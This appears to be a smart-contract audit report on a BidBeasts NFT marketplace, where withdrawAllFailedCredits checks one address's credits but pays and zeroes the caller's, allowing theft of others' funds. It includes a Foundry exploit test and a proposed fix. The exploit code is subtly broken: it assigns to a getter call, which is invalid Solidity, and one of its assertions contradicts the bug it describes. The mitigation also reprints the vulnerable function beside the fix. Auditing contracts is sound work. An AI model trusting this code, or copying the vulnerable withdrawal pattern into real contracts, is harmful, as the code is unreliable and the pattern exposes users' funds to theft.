Description
The withdrawAllFailedCredits function allows any user to withdraw failed transfer credits that belong to another user, leading to potential theft of funds.
Expected Behavior
A user should only be able to withdraw their own failed transfer credits.
Actual Behavior
The function takes an address parameter _receiver to check the credits, but then zeroes out failedTransferCredits[msg.sender] and sends the funds to msg.sender. This mismatch allows a malicious user to withdraw credits that belong to another user.
Root Cause
The function uses the parameter _receiver to check the amount of credits but then uses msg.sender for both zeroing out the credits and sending the funds:
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk Assessment
Impact
If exploited, this vulnerability would allow an attacker to steal all failed transfer credits from any user, resulting in direct financial loss for users who have accumulated failed transfer credits.
Likelihood
The likelihood is medium because it requires knowledge of which addresses have failed transfer credits, but once identified, the exploit is straightforward to execute.
Proof of Concept
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/BidBeastsNFTMarketPlace.sol";
import "../src/BidBeasts_NFT_ERC721.sol";
contract ExploitTest is Test {
BidBeastsNFTMarket market;
BidBeasts nft;
address victim = address(0x1);
address attacker = address(0x2);
function setUp() public {
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
vm.deal(address(market), 1 ether);
vm.prank(address(market));
market.failedTransferCredits(victim) = 1 ether;
}
function testExploit() public {
console.log("Victim's failed credits:", market.failedTransferCredits(victim));
console.log("Attacker's balance before:", attacker.balance);
vm.startPrank(attacker);
market.withdrawAllFailedCredits(victim);
vm.stopPrank();
console.log("Victim's failed credits after:", market.failedTransferCredits(victim));
console.log("Attacker's balance after:", attacker.balance);
assertEq(market.failedTransferCredits(victim), 0, "Victim's credits should be zeroed out");
assertEq(attacker.balance, 1 ether, "Attacker should have stolen the funds");
}
}
Recommended Mitigation
Modify the withdrawAllFailedCredits function to only allow users to withdraw their own credits:
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
function withdrawAllFailedCredits() external {
uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Explanation
The fixed implementation removes the _receiver parameter and only allows users to withdraw their own failed transfer credits, preventing unauthorized withdrawals.